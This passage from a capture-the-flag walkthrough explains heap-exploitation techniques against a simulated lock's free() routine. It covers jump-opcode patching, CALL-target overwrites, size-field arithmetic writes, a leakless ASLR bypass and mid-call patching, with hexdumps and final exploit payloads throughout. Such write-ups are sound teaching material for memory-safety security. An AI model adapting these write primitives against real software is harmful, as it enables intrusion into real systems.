That is an inferior mindset. A superficial understanding of the technique is acceptable only when the objective is to compromise a specific system. The goal is to understand how to reverse engineer and abuse any heap implementation—not just this one. Some may object that this "weapons test" is an academic exercise. There are two possible responses: walk away or dump the magazine. Whichever is chosen amounts to the same: absolutely nothing. Cue the music.
It is time to put this philosophy to the test—by using it to do something slightly more original.
Technique #3: Corrupting Instruction Memory
Patching In Unconditional Jumps
This processor does not have DEP (Data Execution Prevention), so nothing prevents the use of this exploit to patch jumps into the middle of functions during execution. Consider the end of the login function, for example.
4690: b012 6445 call #0x4564 <unlock_door>
4694: 3f40 0b46 mov #0x460b, r15
4698: 023c jmp $+0x6 <login+0x64>
469a: 3f40 1b46 mov #0x461b, r15
469e: b012 1a47 call #0x471a <puts>
46a2: 0f4b mov r11, r15
46a4: b012 0845 call #0x4508 <free>
46a8: 0f4a mov r10, r15
46aa: b012 0845 call #0x4508 <free>
46ae: 3a41 pop r10
46b0: 3b41 pop r11
46b2: 3041 ret
Instead of overwriting a return address, use the arbitrary write primitive to write a jump opcode over the RET instruction at address 0x46b2. This exploit will redirect execution to the unlock_door call at address 0x4690.
┌─►4690: b012 6445 call #0x4564 <unlock_door>
│ 4694: 3f40 0b46 mov #0x460b, r15
│ 4698: 023c jmp $+0x6 <login+0x64>
│ 469a: 3f40 1b46 mov #0x461b, r15
│ 469e: b012 1a47 call #0x471a <puts>
│ 46a2: 0f4b mov r11, r15
│ 46a4: b012 0845 call #0x4508 <free>
│ 46a8: 0f4a mov r10, r15
│ 46aa: b012 0845 call #0x4508 <free>
│ 46ae: 3a41 pop r10
│ 46b0: 3b41 pop r11
└──46b2: ee3f jmp $-0x22
The only constraint is that the opcode written must be even if interpreted as a little-endian integer. The JMP $-0x22 instruction satisfies this constraint. This variation eliminates the need to inject shellcode. The resulting payload is significantly less complex.
Final Exploit
Username
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ee3f b246 2100Password
bbbbResult
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7371 cycles.
This exploit again achieves success. It is worth noting what happens near address 0x3fee for completeness.
3ff0: 3041 4a41 0000 0000 0000 0000 0000 0000 0AJA............
4000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
This address contains the useless data otherwise written into the second and third words of the shellcode. This exploit works as long as the instruction to write does not assemble to bytes that are also a valid address containing critical code or data.
Partially Overwriting Branch Instructions
Patching in a JMP instruction works well when the execution can redirect to a nearby location, but there is a maximum range for relative jumps. Instructions like CALL and BR require two words to represent, so it is impossible to patch them in with a single-word arbitrary write. However, nothing prevents the target address of an existing CALL from being changed to something else.
Consider the structure for the following sample instructions.
| Example Opcode | Disassembly |
|---|---|
b012 0845 |
call #0x4508 <free> |
3040 4044 |
br #0x4440 <__stop_progExec__> |
It should generally be possible to overwrite the second word of these instruction types to change the target address and redirect the execution flow. The second free call is a prime candidate.
4690: b012 6445 call #0x4564 <unlock_door>
4694: 3f40 0b46 mov #0x460b, r15
4698: 023c jmp $+0x6 <login+0x64>
469a: 3f40 1b46 mov #0x461b, r15
469e: b012 1a47 call #0x471a <puts>
46a2: 0f4b mov r11, r15
46a4: b012 0845 call #0x4508 <free>
46a8: 0f4a mov r10, r15
46aa: b012 0845 call #0x4508 <free>
46ae: 3a41 pop r10
46b0: 3b41 pop r11
46b2: 3041 ret
In this case, the exploit replaces the address for the second free call with a pointer to the shellcode.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 240e │ 46ac │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │POINTER
│ └───────┐
│ │
│ │
│ │
│ │
└──────────────────────┐ │
│ │
│ │
WRITE▼ ▼
┌───────────┬────────┬─────────────┬────────┐
│DATA │ 12b0 │ 4508 │ .... │
├───────────┼────────┼─────────────┼────────┤
│INSTRUCTION│ CALL │ <free> │ .... │
├───────────┼────────┼─────────────┼────────┤
│ADDRESS │ 0x46aa │ 0x46ac │ .... │
└───────────┴────────┴─────────────┴────────┘
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 240e │ 46ac │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │POINTER
│ └───────┐
│ │
│ │
│ │
│ │
└──────────────────────┐ │
│ │
│ │
WRITE▼ ▼
┌───────────┬────────┬─────────────┬────────┐
│DATA │ 12b0 │ 240e │ .... │
├───────────┼────────┼─────────────┼────────┤
│INSTRUCTION│ CALL │ <SHELLCODE> │ .... │
├───────────┼────────┼─────────────┼────────┤
│ADDRESS │ 0x46aa │ 0x46ac │ .... │
└───────────┴────────┴─────────────┴────────┘
The payload to achieve this is as follows.
Final Exploit
Username
023c aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 ac46 2100Password
bbbbResult
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7258 cycles.
Technique #4: Leakless Heap Exploitation Using Size Field Arithmetic
Corrupting words using the size field as the value to write is also possible. The algorithm adds the overflowed size field to *(bk + 4).
Observe the behavior with the following payload.
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8888cccceeeePassword
bbbbThe contents of memory near addresses 0x8888 and 0xCCCC are as follows.
8880: 0000 0000 0000 0000 0000 0000 faee 0000 ................
8890: 0000 0000 0000 0000 0000 0000 0000 0000 ................
88a0: *
ccc0: 0000 0000 0000 0000 0000 0000 8888 0000 ................
ccd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Note the value written to address 0x888C. This word is 0xEEEE plus 0xC (decimal 12) plus the original value at address 0x888C (which is zero in this case).
┌────────┬────────┬────────┬──────────────────────────┐
│ 8888 │ cccc │ eeee │ .... .... .... .... .... │
└────────┴────────┴──┬──┬──┴──────────────────────────┘
│ │
▼ ▼
┌────┐ ┌────┐ ┌────┐
│eeee│+│0000│+│000c│
└────┘ └────┘ └────┘
▲ ▲
│ │
┌───────┬────────┬────────┬──┴──┴──┐
│DATA │ 0000 │ 0000 │ 0000 │
├───────┼────────┼────────┼────────┤
│ADDRESS│ 0x8888 │ 0x888a │ 0x888c │
└───────┴────────┴────────┴────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 8888 │ cccc │ eeee │ .... .... .... .... .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┐
│eefa│
└┬──┬┘
│ │
▼ ▼
┌───────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ eefa │
├───────┼────────┼────────┼────────┤
│ADDRESS│ 0x8888 │ 0x888a │ 0x888c │
└───────┴────────┴────────┴────────┘
The value 0xC (12) derives from two ADD instructions that each increment the size field by six. The constant 0x6 may be added to the size field once (for a total of six) or twice (for a total of 0xC or decimal 12), depending on which conditional branches the algorithm takes.
To reiterate, this depends on whether the algorithm interprets the previous and next chunks (pointed to by fd and bk) as being in use. The algorithm adds 0x6 to the size field twice in the above case because both fd and bk point to null memory—causing the interpretation of both "chunks" as being free.
Constraints
- First, ensure the fake chunk pointed to by
bkis free. *(bk + 4) % 2 == 0.- Second, tweak the exploit depending on whether the chunk pointed to by
fdis free, as the outcome of this check will slightly modify the size. The pseudocode to do this is as follows. if ( *(fd + 4) % 2 == 0 ) { size = size + 0x6 }.
Exploit
Suppose the goal is to overwrite a return address.
Stack Memory
4380: 0000 0000 ca46 0100 ca46 0300 3e47 0000 .....F...F..>G..
4390: 0a00 2424 a846 0000 0000 4044 0000 0000 ..$$.F....@D....
43a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The hexdump above highlights the return address for free. The backward merge will happen as long as its value is even. To ensure the exploit works, align this word with the size field of the "chunk" to which bk points.
Chunk metadata is six bytes long, so the bk pointer should point to two words lower in memory than the return address.
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa9043cccceeeeThe snippet below underlines this word.
Stack Memory
4380: 0000 0000 ca46 0100 ca46 0300 3e47 0000 .....F...F..>G..
4390: 0a00 2424 a846 0000 0000 4044 0000 0000 ..$$.F....@D....
43a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The fd pointer is still 0xCCCC, so the exploit overwrites the word at that address with the value 0x4390. This behavior does not affect the exploit, so fd is left as is.
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa9043cccceeeeInteger Overflow
The address of the unlock_door function is 0x4564, while the target return address value is 0x46a8. Because the desired location to return is lower than the existing return address, an integer overflow is required to wrap around. The value 0x6 is added to the size field twice because the region pointed to by fd is all nulls, which the algorithm interprets as a free chunk. Calculate the correct size value at a Python REPL as follows.
>>> shellcode_address = 0x4564
>>> return_address = 0x46a8
>>> hex((shellcode_address-return_address-12) & 0xffff)
'0xfeb0'Final Exploit
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa9043ccccb0fePassword
bbbbResult
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7284 cycles.
Leakless ASLR Bypass
Using the earlier techniques, the attacker would have to find a way to leak the base address of the stack, heap, or executable segment—which requires finding a second vulnerability. The advantage of this one is that it allows for bypassing ASLR without an information leak.
Suppose a function pointer at a known address references code at a randomized address. E.g., the Global Offset Table in an ELF binary. If the attacker knows that some payload code resides at a constant offset from the randomized address, they can abuse free's size field arithmetic to add that offset to the function pointer—without leaking it first. When the implementation calls that pointer later, it will execute arbitrary code.
Technique #5: Live Patching Free During The Middle Of The Call
Consider the test payload from technique #3.
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8888cccceeeePassword
bbbbWatch what happens to memory during the course of the first free call.
8880: 0000 0000 0000 0000 0000 0000 0000 0000 ................
8890: 0000 0000 0000 0000 0000 0000 0000 0000 ................8880: 0000 0000 0000 0000 0000 0000 f4ee 0000 ................
8890: 0000 0000 0000 0000 0000 0000 0000 0000 ................8880: 0000 0000 0000 0000 0000 cccc f4ee 0000 ................
8890: 0000 0000 0000 0000 0000 0000 0000 0000 ................8880: 0000 0000 0000 0000 0000 cccc faee 0000 ................
8890: 0000 0000 0000 0000 0000 0000 0000 0000 ................8880: 0000 0000 0000 0000 0000 0000 faee 0000 ................
8890: 0000 0000 0000 0000 0000 0000 0000 0000 ................Notice how 0xCCCC briefly appears at address 0x888A and is then overwritten with a null word. Imagine if that never happened: the fd pointer would be written just before the size field, combining the previous two techniques and enabling a two-word instruction hot patch into memory.
As long as the first word to be patched in and the second word that will be overwritten in instruction memory are both even.
This operation must occur in the middle of free during its execution, or the algorithm will corrupt the first word when it updates the forward pointer. This patch must happen before this instruction.
The target to patch should be just after the algorithm writes the corrupted fd pointer into the middle of free. The following instruction suffices because it is two words long, and its second word, which will be interpreted as the size field, is even.
4534: 1d4f 0200 mov 0x2(r15), r13
Aim the bk pointer two words before that.
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3245cccceeeeThe CALL instruction will be the first word written. The assembly for it is as follows.
| Example Opcode | Disassembly |
|---|---|
b012 feca |
call #0xcafe <function_name> |
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3245b012eeeeThe second word should be the address to call, set using technique #4.
>>> address_to_call = 0x4564
>>> instruction_assembly = 0x0002
>>> hex((address_to_call-instruction_assembly-6) & 0xffff)
'0x455c'It is the address of the unlock_door function, but it could also point at some shellcode. Note that the algorithm only adds 0x6 to the size in this case.
Final Exploit
Username
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3245b0125c45Password
bbbbResult
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7251 cycles.The Road to Chernobyl
These additional variations may be academically interesting, but in this case, they are not any more practically effective than the original unlink exploit.
Algiers, however, is not the only heap exploitation challenge in the series. The penultimate, Chernobyl, involves a heap resident hash table and an implementation that deliberately breaks the conventional dlmalloc technique. In the last decade, only 800 people exploited it. They are the top 2%.
A Requiem for the Leaderboard
A security firm with a nine-figure market cap hosted this wargame. Two people were tied for the world's shortest Chernobyl exploit (59 bytes). Understanding the leakless size field arithmetic technique is why yours truly was one of them.
Conclusion
This heap implementation has a very small codebase, which lends itself well to dissection for educational purposes. Attempting to explain the original Doug Lea Malloc exploit in similar detail would be practically impossible due to the sheer size of the code base. It took fifteen years for a simple enough heap implementation to come into existence to enable this walkthrough.
More than being difficult, abusing memory safety vulnerabilities is convoluted. It requires the ability to dive into the lowest levels of the implementation and see what is happening under the abstractions. This explanation attempts to capture as many of the specifics as possible, but even for that, it is far inferior to single-stepping through the assembly. Perhaps this is what deters people—much as some might wish otherwise, there is no such thing as a survey course in pwn.
That said, if it must take a thousand hours, it helps to know where to start. With any luck, this page is that place.